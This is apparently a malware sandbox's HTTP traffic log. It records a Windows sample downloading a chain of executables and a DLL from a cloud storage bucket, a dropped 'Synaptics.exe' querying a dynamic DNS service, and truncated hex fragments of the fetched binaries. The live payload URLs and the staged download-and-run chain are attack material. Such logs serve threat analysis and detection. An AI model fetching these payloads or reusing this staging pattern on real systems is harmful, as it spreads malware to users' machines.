Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	47.254.187.72	80	2828	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:34:48.615381002 CET	304	OUT	GET /270/1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:34:49.438334942 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:34:49 GMT Content-Type: application/octet-stream Content-Length: 830976 Connection: keep-alive x-oss-request-id: 6776EA59FDD725252BC4B43B Accept-Ranges: bytes ETag: "D026CFE00B08DA14B0A8B7F8860887D7" Last-Modified: Sat, 02 Nov 2024 18:51:16 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3464722037212978174 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 0CbP4AsI2hSwqLf4hgiH1w== x-oss-server-time: 2 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 0e 03 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B@@B0P@!@CODE `DATAT.0@BSS.idataB*,@.tls
Jan 2, 2025 20:34:49.438352108 CET	1236	IN	Data Raw: 00 10 00 00 00 00 30 0a 00 00 00 00 00 00 fc 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 39 00 00 00 00 40 0a 00 00 02 00 00 00 fc 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 80 Data Ascii: 0.rdata9@@P.relocP@P.rsrc0@P@P
Jan 2, 2025 20:34:49.438363075 CET	448	IN	Data Raw: c0 ff 25 b4 02 4a 00 8b c0 ff 25 00 02 4a 00 8b c0 ff 25 fc 01 4a 00 8b c0 ff 25 f8 01 4a 00 8b c0 ff 25 f4 01 4a 00 8b c0 ff 25 f0 01 4a 00 8b c0 ff 25 ec 01 4a 00 8b c0 53 83 c4 bc bb 0a 00 00 00 54 e8 41 ff ff ff f6 44 24 2c 01 74 05 0f b7 5c Data Ascii: %J%J%J%J%J%J%JSTAD$,t\$0D[%J%J%J%J%J%J%J%JSVI>u:hDju3^[II3DBdu^[@
Jan 2, 2025 20:34:49.438374043 CET	1176	IN	Data Raw: 70 8b ce 03 4a 04 8b e8 03 6b 0c 3b cd 77 62 3b f0 75 1b 8b 42 04 01 43 08 8b 42 04 29 43 0c 83 7b 0c 00 75 48 8b c3 e8 39 ff ff ff eb 3f 8b ce 8b 7a 04 03 cf 8b e8 03 6b 0c 3b cd 75 05 29 7b 0c eb 2a 8b 0a 03 4a 04 89 0c 24 8b 7b 08 03 7b 0c 2b Data Ascii: pJk;wb;uBCB)C{uH9?zk;u){*J${{+\|$+su3;u3YZ]_^[SVW}sjh Vj;t#IluhjP3_^[SVWUC
Jan 2, 2025 20:34:49.439729929 CET	1236	IN	Data Raw: 8b 0c 24 8b d7 8b c5 e8 71 fd ff ff 8b 04 24 83 38 00 74 28 8b 04 24 8b 40 04 01 43 08 8b 04 24 8b 40 04 29 43 0c 83 7b 0c 00 75 10 8b c3 e8 9a fa ff ff eb 07 8b 04 24 33 d2 89 10 83 c4 14 5d 5f 5e 5b c3 90 53 56 57 83 c4 ec 8b f9 89 14 24 8d 98 Data Ascii: $q$8t($@C$@)C{u$3]_^[SVW$?4$;s[+L$I]\$tL$T$&D$D$D$D$\|$tT$I3_^[U3UhR@d2d"hI9=MI
Jan 2, 2025 20:34:49.439739943 CET	224	IN	Data Raw: 0c 5d 5f 5e 5b c3 8d 40 00 53 56 57 8b f2 8b f8 8b df 89 73 08 8b c3 03 c6 83 e8 0c 89 70 08 81 fe 00 10 00 00 7f 37 8b d6 85 d2 79 03 83 c2 03 c1 fa 02 a1 24 e6 49 00 8b 44 90 f4 85 c0 75 10 a1 24 e6 49 00 89 5c 90 f4 89 5b 04 89 1b eb 3a 8b 10 Data Ascii: ]_^[@SVWsp7y$IDu$I\[:CZ,<\|uIICZ_^[@=I~@=I}I+I I I3 I3ISVW
Jan 2, 2025 20:34:49.439857960 CET	1236	IN	Data Raw: 83 c4 f0 8b f0 8d 3c 24 a5 a5 8b fc e8 a0 ff ff ff 8d 4c 24 08 8b d7 b8 28 e6 49 00 e8 10 f5 ff ff 8b 5c 24 08 85 db 75 04 33 c0 eb 52 8b 07 3b d8 73 0a e8 99 fd ff ff 29 07 01 47 04 8b 07 03 47 04 8b f3 03 74 24 0c 3b c6 73 08 e8 f0 fd ff ff 01 Data Ascii: <$L$(I\$u3R;s)GGt$;sGG;uo IGI_^[@SCD<$tWu3YZ[SVV<$t&u3YZ^[@3y
Jan 2, 2025 20:34:49.439868927 CET	1236	IN	Data Raw: 04 00 74 0b 83 38 00 74 06 83 78 08 0c 7d 0c c7 05 c8 e5 49 00 0b 00 00 00 eb 13 8b 50 08 03 da e8 c8 f7 ff ff 8b d3 8b c6 e8 27 fa ff ff a1 c8 e5 49 00 89 45 fc 33 c0 5a 59 59 64 89 10 68 b1 24 40 00 80 3d 4d e0 49 00 00 74 0a 68 cc e5 49 00 e8 Data Ascii: t8tx}IP'IE3ZYYdh$@=MIthIWE_^[Y]SVWU}};u;+$; Iu8$) I$I=IL$ I$)I3
Jan 2, 2025 20:34:49.439881086 CET	164	IN	Data Raw: a4 eb 11 ba 01 00 00 00 eb e5 31 c9 eb ec 89 c1 eb e8 88 07 5f 5e c2 04 00 c3 8d 40 00 53 56 81 c4 f0 fd ff ff 8b f2 8b d8 84 db 74 2d 33 c0 8a c3 83 c0 41 48 88 04 24 c6 44 24 01 3a c6 44 24 02 00 8d 84 24 09 01 00 00 50 68 05 01 00 00 e8 51 e9 Data Ascii: 1_^@SVt-3AH$D$:D$$PhQTD$Ph<t$PT$"^[SCC
Jan 2, 2025 20:34:49.444519997 CET	1236	IN	Data Raw: 00 00 33 d2 89 90 04 00 00 00 8b c3 5b c3 8d 40 00 56 57 89 c6 89 d7 89 c8 39 f7 77 13 74 2f c1 f9 02 78 2a f3 a5 89 c1 83 e1 03 f3 a4 5f 5e c3 8d 74 31 fc 8d 7c 39 fc c1 f9 02 78 11 fd f3 a5 89 c1 83 e1 03 83 c6 03 83 c7 03 f3 a4 fc 5f 5e c3 53 Data Ascii: 3[@VW9wt/x*_^t1\|9x_^SVWUSXt< v;"u{"u3C<"u1S,S"+t<"u;tSS+< wl%>3Q<"u8SS;
Jan 2, 2025 20:34:49.444614887 CET	1236	IN	Data Raw: 00 c7 46 08 80 00 00 00 c7 46 24 00 2d 40 00 89 46 14 66 81 7e 04 b2 d7 74 04 6a f6 eb 0e 81 fe e8 e3 49 00 75 04 6a f4 eb 02 6a f5 e8 74 e3 ff ff 83 f8 ff 74 39 89 06 66 81 7e 04 b1 d7 74 17 ff 36 e8 4e e3 ff ff 85 c0 74 10 83 f8 02 75 07 c7 46 Data Ascii: FF$-@Ff~tjIujjtt9f~t6NtuF -@1^6#fFifFSV3LLCfC38IfCCCp-@!PSHYlDH3^[@SfHftIf
Jan 2, 2025 20:34:50.317262888 CET	304	OUT	GET /270/2.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:34:50.703460932 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:34:50 GMT Content-Type: application/octet-stream Content-Length: 4645376 Connection: keep-alive x-oss-request-id: 6776EA5A40E6AE0DD7C69331 Accept-Ranges: bytes ETag: "85A57509DB3E9DFA7B4E451B8243220D" Last-Modified: Sat, 02 Nov 2024 19:15:45 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11212801109602397947 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: haV1Cds+nfp7TkUbgkMiDQ== x-oss-server-time: 4 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 42 3d 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^BB=@@G@Bx9<P@!@CODE `DATAT.0@BSS.idataB*,@.tls
Jan 2, 2025 20:34:54.315299034 CET	304	OUT	GET /270/3.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:34:54.702008963 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:34:54 GMT Content-Type: application/octet-stream Content-Length: 9872 Connection: keep-alive x-oss-request-id: 6776EA5E6069439A00C5A68B Accept-Ranges: bytes ETag: "1EDB88F9EE745EAAEE2CBD8219318EB0" Last-Modified: Sat, 02 Nov 2024 15:18:39 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9658441509656194699 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: HtuI+e50XqruLL2CGTGOsA== x-oss-server-time: 2 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 46 52 f6 a5 27 3c a5 a5 27 3c a5 a5 27 3c a5 e3 76 e3 a5 a7 27 3c a5 e3 76 dc a5 a7 27 3c a5 ac 5f af a5 a0 27 3c a5 a5 27 3d a5 b8 27 3c a5 a8 75 dd a5 a4 27 3c a5 a8 75 e2 a5 a4 27 3c a5 52 69 63 68 a5 27 3c a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3a ce ab 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 20 00 00 00 10 00 00 00 80 00 00 80 a5 00 00 00 90 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 00 00 00 10 00 00 00 00 00 00 02 00 40 87 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FR'<'<'<v'<v'<_'<'='<u'<u'<Rich'<PEL:f @@UPX0UPX1 @UPX2@
Jan 2, 2025 20:34:54.821676016 CET	304	OUT	GET /270/4.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:34:55.222863913 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:34:55 GMT Content-Type: application/octet-stream Content-Length: 346414 Connection: keep-alive x-oss-request-id: 6776EA5FFDD725252BC4B67A Accept-Ranges: bytes ETag: "39E7BE73C7531AC895F75834FDC1BCD6" Last-Modified: Sat, 02 Nov 2024 18:37:48 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12059760812609244457 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Oee+c8dTGsiV91g0/cG81g== x-oss-server-time: 2 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 16 c9 9a 88 77 a7 c9 88 77 a7 c9 88 77 a7 c9 3c eb 56 c9 85 77 a7 c9 3c eb 54 c9 06 77 a7 c9 3c eb 55 c9 90 77 a7 c9 08 0c 5a c9 8a 77 a7 c9 08 0c a3 c8 9b 77 a7 c9 08 0c a4 c8 9f 77 a7 c9 08 0c a2 c8 bd 77 a7 c9 81 0f 24 c9 83 77 a7 c9 81 0f 34 c9 8f 77 a7 c9 88 77 a6 c9 92 76 a7 c9 06 0c a2 c8 b9 77 a7 c9 06 0c a7 c8 89 77 a7 c9 06 0c 58 c9 89 77 a7 c9 06 0c a5 c8 89 77 a7 c9 52 69 63 68 88 77 a7 c9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b2 cf c8 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 21 00 2e 03 00 00 f6 03 00 00 00 00 00 90 07 02 00 00 10 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$www<Vw<Tw<UwZwwww$w4wwvwwXwwRichwPELd!.@@p@4P`t@#Tf@@x\ .text-. `.rdata@2@@.dataPG@.didatP
Jan 2, 2025 20:34:56.036659956 CET	306	OUT	GET /270/wic.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: bruplong.oss-accelerate.aliyuncs.com Connection: Keep-Alive
Jan 2, 2025 20:34:56.525973082 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:34:56 GMT Content-Type: application/octet-stream Content-Length: 3483648 Connection: keep-alive x-oss-request-id: 6776EA6054F7EDD933C5AA70 Accept-Ranges: bytes ETag: "6AD65B03E75BC5509BA3104510178EE6" Last-Modified: Sat, 02 Nov 2024 15:06:38 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12551179916436374333 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: atZbA+dbxVCboxBFEBeO5g== x-oss-server-time: 2 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 ad 33 d9 23 cc 5d 8a 23 cc 5d 8a 23 cc 5d 8a 46 aa 5e 8b 3d cc 5d 8a 46 aa 59 8b 05 cc 5d 8a 46 aa 58 8b c4 cc 5d 8a 46 aa 5b 8b 20 cc 5d 8a 71 a4 59 8b 01 cc 5d 8a 71 a4 5e 8b 3a cc 5d 8a 71 a4 58 8b 5f cd 5d 8a 46 aa 5c 8b 06 cc 5d 8a 23 cc 5c 8a 35 cf 5d 8a 88 a5 54 8b 20 cc 5d 8a 88 a5 a2 8a 22 cc 5d 8a 23 cc ca 8a 22 cc 5d 8a 88 a5 5f 8b 22 cc 5d 8a 52 69 63 68 23 cc 5d 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb 3e 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 1a 18 00 00 52 1d 00 00 00 00 00 09 ba 14 00 00 10 00 00 00 30 18 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$g3#]#]#]F^=]FY]FX]F[ ]qY]q^:]qX_]F\]#\5]T ]"]#"]_"]Rich#]PEL>&gR0@5@[\|Pp32p@0.text `.rdatab0d@@.data^@.rsrcP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	69.42.215.252	80	5236	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:34:59.034657955 CET	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jan 2, 2025 20:34:59.702755928 CET	243	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Jan 2025 19:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	47.254.187.72	80	7568	C:\Windows\wic.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 20:34:59.435656071 CET	151	OUT	GET /270/cbas.exe HTTP/1.1 User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher) Host: bruplong.oss-accelerate.aliyuncs.com
Jan 2, 2025 20:35:00.259752035 CET	1236	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 02 Jan 2025 19:35:00 GMT Content-Type: application/octet-stream Content-Length: 295424 Connection: keep-alive x-oss-request-id: 6776EA64494A37041BC6A984 Accept-Ranges: bytes ETag: "9FD7C0ACC95C7F1311BDE279D0B6A03A" Last-Modified: Sat, 02 Nov 2024 13:26:13 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 13157587370901313456 x-oss-storage-class: Standard x-oss-ec: 0048-00000109 Content-Disposition: attachment x-oss-force-download: true Content-MD5: n9fArMlcfxMRveJ50LagOg== x-oss-server-time: 2 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d b7 62 8a 09 d6 0c d9 09 d6 0c d9 09 d6 0c d9 7a b4 0f d8 04 d6 0c d9 7a b4 09 d8 a0 d6 0c d9 7a b4 08 d8 1f d6 0c d9 5b be 0f d8 1e d6 0c d9 7a b4 0d d8 00 d6 0c d9 09 d6 0d d9 82 d6 0c d9 5b be 09 d8 49 d6 0c d9 5b be 08 d8 28 d6 0c d9 a2 bf 05 d8 08 d6 0c d9 a2 bf f3 d9 08 d6 0c d9 a2 bf 0e d8 08 d6 0c d9 52 69 63 68 09 d6 0c d9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 73 22 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 18 03 00 00 76 01 00 00 00 00 00 2c 3a 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Mbzzz[z[I[(RichPELs"&gv,:0@@xG<Lp0@0.text `.rdata"0$@@.data@ `@@.rsrcR@@.reloc
Jan 2, 2025 20:35:00.259772062 CET	224	IN	Data Raw: 00 00 4c 2a 00 00 00 a0 04 00 00 2c 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: L*,V@B
Jan 2, 2025 20:35:00.259784937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: jhTDiDh#C'YjhXDiD_hp#Ca'Yjh`DiD?h#CA'YjhdDjD
Jan 2, 2025 20:35:00.259799957 CET	224	IN	Data Raw: 00 83 c4 08 8b c6 5e 5d c2 04 00 cc cc cc 8b 49 04 b8 a0 0d 44 00 85 c9 0f 45 c1 c3 cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 84 32 43 00 50 e8 f6 32 01 00 83 c4 04 f6 45 08 01 74 0b 6a 0c 56 e8 1b 23 01 00 83 c4 08 8b c6 5e 5d c2 04 00 55 8b ec 83 Data Ascii: ^]IDEUVF2CP2EtjV#^]Ul`D3EUEVUNEQW2CPfA2M2C3^t]A2CPl2YWfAAD
Jan 2, 2025 20:35:00.261188030 CET	1236	IN	Data Raw: 01 b4 47 43 00 c3 cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 fa 12 43 00 64 a1 00 00 00 00 50 83 ec 10 56 a1 6c 60 44 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 f0 6a 00 e8 c3 04 01 00 c7 45 fc 00 00 00 00 c7 46 04 00 00 00 00 c6 46 08 00 Data Ascii: GCUjhCdPVl`D3PEdujEFFFF3FfFFfF F$F(F,F0EEtPVMdY^]hDMhhFDEP9Ujh CdPVl`D3PEd
Jan 2, 2025 20:35:00.261217117 CET	1236	IN	Data Raw: 0c 75 07 b0 01 5e 5d c2 08 00 32 c0 5e 5d c2 08 00 cc cc cc cc cc cc cc cc cc 56 68 70 7f 44 00 68 00 b2 40 00 68 30 7f 44 00 8b f1 e8 75 00 01 00 83 c4 0c 85 c0 74 11 c7 06 01 00 00 00 8b c6 c7 46 04 70 7f 44 00 5e c3 e8 aa 9c 01 00 cc cc cc cc Data Ascii: u^]2^]VhpDh@h0DutFpD^SUkl$jhpCdPSXl`D3EVWPEd}CMP}._CsEuEMtHU+jhDr$uACuEV95F
Jan 2, 2025 20:35:00.261229992 CET	448	IN	Data Raw: 83 c4 08 8b 46 0c 89 47 0c 8b 46 10 89 47 10 8b c7 c7 07 a4 18 44 00 5f 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b 75 08 0f 57 c0 57 8b f9 8d 47 04 50 c7 07 84 32 43 00 66 0f d6 00 8d 46 04 50 e8 f4 27 01 00 c7 07 9c 32 43 00 83 c4 Data Ascii: FGFGD_^]UVuWWGP2CfFP'2CFGFG2C_^]UVuWWGP2CfFP'2CFGFG_^]UjhCdPVl`D3PEdEV
Jan 2, 2025 20:35:00.261241913 CET	1176	IN	Data Raw: 30 43 00 8b f0 85 f6 74 36 57 53 ff 15 fc 30 43 00 8b 4d 08 8d 14 06 83 e1 0f 76 12 3b f2 73 1f 0f b7 06 8d 34 46 83 c6 02 83 e9 01 75 ee 3b f2 73 0d 66 83 3e 00 74 07 5f 8b c6 5e 5b 5d c3 5f 5e 33 c0 5b 5d c3 55 8b ec ff 75 08 6a 00 ff 71 04 ff Data Ascii: 0Ct6WS0CMv;s4Fu;sf>t_^[]_^3[]Uujqd0C]UEtPjq0C]UUuu]EuRP3]PRjqH0C]Uujq0C]UV~h
Jan 2, 2025 20:35:00.264590979 CET	1236	IN	Data Raw: 8d e4 fe ff ff e8 94 75 00 00 8b b5 e4 fe ff ff 85 db 74 18 83 7e f4 00 7c 12 53 56 e8 42 9f 01 00 83 c4 08 85 c0 74 04 2b c6 79 1b 8d 85 b0 fd ff ff 50 ff b5 ac fd ff ff ff 15 44 30 43 00 85 c0 0f 85 27 ff ff ff ff b5 ac fd ff ff ff 15 4c 30 43 Data Ascii: ut~\|SVBt+yPD0C'L0CEFHVRMdY_^[M3]h@`UEVhDtjV^]VW;t!fDt
Jan 2, 2025 20:35:00.264604092 CET	1236	IN	Data Raw: 8c 52 50 51 8d 8d b8 fe ff ff e8 fb 4a 00 00 6a 48 8d 85 70 fe ff ff 6a 00 50 e8 8b 2b 01 00 83 c4 0c 8d 8d 70 fe ff ff e8 bd 4b 00 00 6a 48 8d 45 a0 c6 45 fc 05 6a 00 50 e8 6c 2b 01 00 8b 85 b8 fe ff ff 8d 4d b8 89 45 a0 83 c4 0c 8b 85 bc fe ff Data Ascii: RPQJjHpjP+pKjHEEjPl+MEEEEEEPE~fE~EfE~EfEEpEPM/Ij8T
Jan 2, 2025 20:35:00.264775038 CET	1236	IN	Data Raw: 0f 00 00 00 c6 47 0c 00 c7 45 fc 00 00 00 00 c7 47 34 00 00 00 00 c7 47 38 0f 00 00 00 c6 47 24 00 c7 47 4c 00 00 00 00 c7 47 50 0f 00 00 00 c6 47 3c 00 c6 45 fc 02 8d 77 60 c7 47 5c 00 00 00 00 89 75 ec c7 06 00 00 00 00 c7 46 04 00 00 00 00 e8 Data Ascii: GEG4G8G$GLGPG<Ew`G\uFpmGxG\|Gh
Jan 2, 2025 20:35:01.021306992 CET	153	OUT	GET /270/msslac.dll HTTP/1.1 User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher) Host: bruplong.oss-accelerate.aliyuncs.com
